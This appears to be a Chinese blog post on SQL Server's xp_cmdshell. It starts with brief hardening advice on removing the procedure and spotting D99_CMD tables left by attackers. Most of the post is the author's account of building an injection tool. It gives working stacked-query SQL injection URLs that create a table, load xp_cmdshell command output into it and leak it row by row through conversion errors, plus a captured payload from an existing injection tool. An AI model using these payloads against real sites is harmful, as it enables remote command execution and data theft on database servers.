一般的黑客攻击SQL Server时，首先采用的方法是执行master扩展存储过程xp_cmdshell命令来破坏数据库，为了数据库安全起见，最好禁止使用xp_cmdShell
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串，
并以文本行方式返回任何输出，是一个功能非常强大的扩展存贮过程。
一般情况下，xp_cmdshell对管理员来说也是不必要的，xp_cmdshell的消除不会对Server造成
任何影响。
可以将xp_cmdshell消除：
Use Master
Exec sp_dropextendedproc N'xp_cmdshell'
Go
如果需要的话，可以把xp_cmdshell恢复回来：
Use Master
Exec sp_addextendedproc N'xp_cmdshell'， N'xplog70.dll'
Go
如果你数据库理有D99_Tmp或者D99_cmd这两个表,那么你放心了.
说明这个是下载人家的软件的恶意攻击SQL SERVER的菜鸟了.
用了su.exe（是一个提升权限黑客软件），D99_tmp（subdirectory,depth,file三个字段，里面的数据都是网站文件和目录）.
参考文章http://anqn.com/article/e/2006-07-10/a0980419.shtml
可以根据文章自己攻击一次你的网站.
最近在写 xp_cmdshell 执行命令，怎样读取回显的事！
我在"企业管理器 SQL Server Enterprise Manager "执行一下命令
EXEC master.dbo.xp_cmdshell 'dir c:\'
可以显示内容，但，怎样把他显示出来？ 我以前想，不就一行一行读取来,我是这样写的！
//先创建一个临时表
http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));--
//之后把 xp_cmdshell 想显的内容输入临时表
http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:\'
//读取内容
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0
我读取内容的时候，才知道不能读取！我查看了临时表，内容是有的！
之后想想,应该是因建列的信息不足(有空行啊)，内容不能爆出来！就算可以爆，也有可能不是按顺序的！
那要怎样一行一行的读取来了！
呵呵！所以我用了笨方法，什么方法，查一下现在网上已可用的 xp_cmdshell 的软件抓包看看！
这个软件很早就实现了这个功能，所以我拿他来抓包！
;EXEC ASTER..XP_CMDSHELL 'Dir C:\ > C:\NB_Commander_Txt.log';drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM 'C:\NB_Commander_Txt.log' WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)--
他是把执行的回显内容写入一个文件，之后再把他导进数据库中，晕，前辈知道的SQL命令真多！
我看到代码晕了，好多！(不要笑我，其实我做注入工具以前，还一点也不懂SQL的！是写注入后，才知道了些注入的SQL命令)
看了前辈的代码，看到
ID int NOT NULL IDENTITY (1,1)
自动编号！！！！
可不可以在执行 xp_cmdshell 时，同时也加进一个唯一的ID号！！！！
我在临时表里，加入了一个自动编程的ID，之后，我再执行xp_cmdshell命令把回显的内容导入数据库，执行完命令后，我再查看了临时表！
我高兴了，可以导入内容的！ 
成功了,成功了！！！(我以前不知道可以这样加的！不太熟SQL了，不要笑我了)有了一个可以排序的ID，爆内容就不复杂了！
我改的代码！
===============================================================
创建表，加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表
http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:\' ;--
//之后爆内容了,可以一行一行的爆！
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0
===============================================================
drop TABLE D99_CMD
是清除以前的内容
如果想知道有多少行，可以这样读
http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
回显的内容如下:
----------------------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '|37|' 转换为数据类型为 int 的列时发生语法错误。
'|37|' 里的 37 就是行数
=======================================
是因为我SQL命令不太熟悉，所以走了很多弯路！
这也是我用 xp_cmdshell 执行回显问题的一点经历！